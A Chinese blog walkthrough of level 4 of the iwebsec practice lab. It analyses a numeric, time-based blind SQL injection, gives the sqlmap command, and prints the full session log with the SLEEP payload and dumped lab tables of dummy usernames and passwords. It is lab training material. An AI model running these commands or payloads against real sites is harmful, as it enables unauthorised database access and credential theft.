• iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入（时间型盲注）

    系列文章目录

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入（宽字节注入）_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记3- bool注入（布尔型盲注）_mooyuan的博客-CSDN博客

    目录

    系列文章目录

    前言

    一、源码分析

    二、sqlmap注入

    1.注入命令

    2.完整交互过程

    总结

    前言

    iwebsec靶场的SQL注入漏洞的第04关sleep注入漏洞渗透，

    一、源码分析

    如下所示，SQL语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

     可知这是一个普通的数字型注入，并且没有对参数id做任何过滤。不过在输出内容中可以得知仅sql查询成功时输出welcome to iwebsec!!!

    而sql语句查询失败时，依旧输出与成功一样的内容welcome to iwebsec!!!

    这说明无论sql语句如何，输出结果都是一样的welcome to iwebsec!!! 很明显结合上下文，这就是时间盲注的特点

    二、sqlmap注入

    1.注入命令

    sqlmap -u http://192.168.71.151/sqli/04.php?id=1  --current-db --dump --batch

     如下所示，渗透成功

    2.完整交互过程

    iwebsec的SQL注入第4个时间盲注关卡耗时非常久，大概花了一个多小时左右的时间，完整的注入交互如下所示

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/04.php?id=1 --current-db --dump --batch 
    2.         ___
    3.        __H__                                                                                                                                                                                                                               
    4.  ___ ___[(]_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
    5. |_ -| . [']     | .'| . |                                                                                                                                                                                                                  
    6. |___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                  
    7.       |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               
    8.  
    9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    11. [*] starting @ 22:34:10 /2022-11-24/
    13. [22:34:10] [INFO] testing connection to the target URL
    14. [22:34:10] [INFO] checking if the target is protected by some kind of WAF/IPS
    15. [22:34:10] [INFO] testing if the target URL content is stable
    16. [22:34:11] [INFO] target URL content is stable
    17. [22:34:11] [INFO] testing if GET parameter 'id' is dynamic
    18. [22:34:11] [WARNING] GET parameter 'id' does not appear to be dynamic
    19. [22:34:11] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
    20. [22:34:11] [INFO] testing for SQL injection on GET parameter 'id'
    21. [22:34:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    22. [22:34:11] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
    23. [22:34:11] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
    24. [22:34:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
    25. [22:34:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
    26. [22:34:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
    27. [22:34:11] [INFO] testing 'Generic inline queries'
    28. [22:34:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
    29. [22:34:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
    30. [22:34:11] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
    31. [22:34:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
    32. [22:34:21] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
    33. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
    34. for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
    35. [22:34:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
    36. [22:34:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    37. [22:34:22] [INFO] target URL appears to be UNION injectable with 3 columns
    38. injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
    39. [22:34:22] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
    40. [22:34:22] [INFO] checking if the injection point on GET parameter 'id' is a false positive
    41. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
    42. sqlmap identified the following injection point(s) with a total of 106 HTTP(s) requests:
    43. ---
    44. Parameter: id (GET)
    45.     Type: time-based blind
    46.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    47.     Payload: id=1 AND (SELECT 3964 FROM (SELECT(SLEEP(5)))Kdwc)
    48. ---
    49. [22:34:42] [INFO] the back-end DBMS is MySQL
    50. [22:34:42] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
    51. web server operating system: Linux CentOS 6
    52. web application technology: PHP 5.2.17, Apache 2.2.15
    53. back-end DBMS: MySQL >= 5.0.12
    54. [22:34:42] [INFO] fetching current database
    55. [22:34:42] [INFO] retrieved: 
    56. do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
    57. [22:34:57] [INFO] adjusting time delay to 1 second due to good response times
    58. iwebsec
    59. current database: 'iwebsec'
    60. [22:35:12] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    61. [22:35:12] [INFO] fetching current database
    62. [22:35:12] [INFO] fetching tables for database: 'iwebsec'
    63. [22:35:12] [INFO] fetching number of tables for database 'iwebsec'
    64. [22:35:12] [INFO] retrieved: 4
    65. [22:35:13] [INFO] retrieved: sqli
    66. [22:35:25] [INFO] retrieved: user
    67. [22:35:38] [INFO] retrieved: users
    68. [22:35:45] [INFO] retrieved: xss
    69. [22:35:57] [INFO] fetching columns for table 'users' in database 'iwebsec'
    70. [22:35:57] [INFO] retrieved: 3
    71. [22:36:00] [INFO] retrieved: username
    72. [22:36:23] [INFO] retrieved: password
    73. [22:36:50] [INFO] retrieved: role
    74. [22:37:05] [INFO] fetching entries for table 'users' in database 'iwebsec'
    75. [22:37:05] [INFO] fetching number of entries for table 'users' in database 'iwebsec'
    76. [22:37:05] [INFO] retrieved: 1
    77. [22:37:06] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                                                                   
    78. mall123mall
    79. [22:37:39] [INFO] retrieved: admin
    80. [22:37:53] [INFO] retrieved: orange
    81. Database: iwebsec
    82. Table: users
    83. [1 entry]
    84. +-------+-------------+----------+
    85. | role  | password    | username |
    86. +-------+-------------+----------+
    87. | admin | mall123mall | orange   |
    88. +-------+-------------+----------+
    90. [22:38:11] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    91. [22:38:11] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    92. [22:38:11] [INFO] retrieved: 2
    93. [22:38:14] [INFO] retrieved: id
    94. [22:38:20] [INFO] retrieved: name
    95. [22:38:31] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    96. [22:38:31] [INFO] fetching number of entries for table 'xss' in database 'iwebsec'
    97. [22:38:31] [INFO] retrieved: 5
    98. [22:38:33] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                                                                   
    99. 1
    100. [22:38:35] [INFO] retrieved: iwebsec
    101. [22:38:54] [INFO] retrieved: 5
    102. [22:38:57] [INFO] retrieved: 
    103. [22:40:55] [INFO] retrieved: 6
    104. [22:40:59] [INFO] retrieved: 
    105. [22:42:56] [INFO] retrieved: 7
    106. [22:43:01] [INFO] retrieved: 
    107. [22:44:58] [INFO] retrieved: 8
    108. [22:45:04] [INFO] retrieved: 
    109. Database: iwebsec
    110. Table: xss
    111. [5 entries]
    112. +----+------------------------------------+
    113. | id | name                               |
    114. +----+------------------------------------+
    115. | 1  | iwebsec                            |
    116. | 5  |  |
    117. | 6  |  |
    118. | 7  |  |
    119. | 8  |                  |
    120. +----+------------------------------------+
    122. [22:46:22] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    123. [22:46:22] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    124. [22:46:22] [INFO] retrieved: 4
    125. [22:46:23] [INFO] retrieved: id
    126. [22:46:29] [INFO] retrieved: username
    127. [22:46:52] [INFO] retrieved: password
    128. [22:47:20] [INFO] retrieved: email
    129. [22:47:33] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    130. [22:47:33] [INFO] fetching number of entries for table 'sqli' in database 'iwebsec'
    131. [22:47:33] [INFO] retrieved: 7
    132. [22:47:35] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                                                                   
    133. user1@iwebsec.com
    134. [22:48:27] [INFO] retrieved: 1
    135. [22:48:29] [INFO] retrieved: pass1
    136. [22:48:43] [INFO] retrieved: user1
    137. [22:48:56] [INFO] retrieved: user2@iwebsec.com
    138. [22:49:49] [INFO] retrieved: 2
    139. [22:49:52] [INFO] retrieved: pass2
    140. [22:50:07] [INFO] retrieved: user2
    141. [22:50:22] [INFO] retrieved: user3@iwebsec.com
    142. [22:51:15] [INFO] retrieved: 3
    143. [22:51:18] [INFO] retrieved: pass3
    144. [22:51:34] [INFO] retrieved: user3
    145. [22:51:50] [INFO] retrieved: user4@iwebsec.caom
    146. [22:52:42] [INFO] retrieved: 4
    147. [22:52:46] [INFO] retrieved: admin
    148. [22:53:00] [INFO] retrieved: admin
    149. [22:53:15] [INFO] retrieved: 123@123.com
    150. [22:53:50] [INFO] retrieved: 5
    151. [22:53:53] [INFO] retrieved: 123
    152. [22:54:00] [INFO] retrieved: 123
    153. [22:54:07] [INFO] retrieved: 1234@123.com
    154. [22:54:46] [INFO] retrieved: 6
    155. [22:54:50] [INFO] retrieved: 123
    156. [22:54:57] [INFO] retrieved: ctfs' or updatexml(1,concat(0x7e,(version())),0)#
    157. [22:57:58] [INFO] retrieved: iwebsec02@iwebsec.com
    158. [22:59:04] [INFO] retrieved: 7
    159. [22:59:08] [INFO] retrieved: 123456
    160. [22:59:25] [INFO] retrieved: iwebsec' or updatexml(1,concat(0x7e,(version())),0)#
    161. Database: iwebsec
    162. Table: sqli
    163. [7 entries]
    164. +----+-----------------------+----------+------------------------------------------------------+
    165. | id | email                 | password | username                                             |
    166. +----+-----------------------+----------+------------------------------------------------------+
    167. | 1  | user1@iwebsec.com     | pass1    | user1                                                |
    168. | 2  | user2@iwebsec.com     | pass2    | user2                                                |
    169. | 3  | user3@iwebsec.com     | pass3    | user3                                                |
    170. | 4  | user4@iwebsec.com     | admin    | admin                                                |
    171. | 5  | 123@123.com           | 123      | 123                                                  |
    172. | 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
    173. | 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    174. +----+-----------------------+----------+------------------------------------------------------+
    176. [23:02:31] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    177. [23:02:31] [INFO] fetching columns for table 'user' in database 'iwebsec'
    178. [23:02:31] [INFO] retrieved: 3
    179. [23:02:34] [INFO] retrieved: id
    180. [23:02:40] [INFO] retrieved: username
    181. [23:03:02] [INFO] retrieved: password
    182. [23:03:30] [INFO] fetching entries for table 'user' in database 'iwebsec'
    183. [23:03:30] [INFO] fetching number of entries for table 'user' in database 'iwebsec'
    184. [23:03:30] [INFO] retrieved: 3
    185. [23:03:33] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)                                                                                                   
    186. 1
    187. [23:03:35] [INFO] retrieved: pass1
    188. [23:03:50] [INFO] retrieved: user1
    189. [23:04:03] [INFO] retrieved: 2
    190. [23:04:06] [INFO] retrieved: pass2
    191. [23:04:21] [INFO] retrieved: user2
    192. [23:04:36] [INFO] retrieved: 3
    193. [23:04:39] [INFO] retrieved: pass3
    194. [23:04:55] [INFO] retrieved: user3
    195. Database: iwebsec
    196. Table: user
    197. [3 entries]
    198. +----+----------+----------+
    199. | id | password | username |
    200. +----+----------+----------+
    201. | 1  | pass1    | user1    |
    202. | 2  | pass2    | user2    |
    203. | 3  | pass3    | user3    |
    204. +----+----------+----------+
    206. [23:05:10] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    207. [23:05:10] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    208. [23:05:10] [WARNING] your sqlmap version is outdated
    210. [*] ending @ 23:05:10 /2022-11-24/

    总结

    通过源码再来分析下时间盲注关卡重点内容：
    （1）闭合方式是什么？iwebsec的第04关关卡为数字型注入，无闭合方式
    （2）注入类别是什么？这部分是时间型盲注
    （3）是否过滤了关键字？很明显通过源码，iwebsec的时间盲注型关卡无过滤任何信息
    了解了如上信息就可以针对性进行SQL渗透，使用sqlmap工具渗透更是事半功倍，以上就是今天要讲的第04关注入内容。时间型盲注相对而言十分耗时，手注或者半自动化注入相对而言操作过程较为麻烦，初学者还是应该以手动与半自动化注入结合方法练习，真正了解原理后可以在使用sqlmap来提升速度

  • 相关阅读:
    Java并发编程实战读书笔记三
    SpringCloud Alibaba系列 Sentinel（三）
    Win11切换输入法ctrl+shift没有反应怎么解决？
    智慧工地管理系统源码 智慧大屏、手机APP、SaaS模式
    【证明】线性变换的核是一个线性空间
    手动抄表和自动抄表优缺点对比
    c++设计模式之一创建型模式
    flutter项目常用组件
    智能井盖生产商家，万宾科技井盖传感器产品详情
    硬核评测 | 百分点科技NLP、知识图谱产品获“可信AI”多项最高级
  • 原文地址：https://blog.csdn.net/mooyuan/article/details/128035139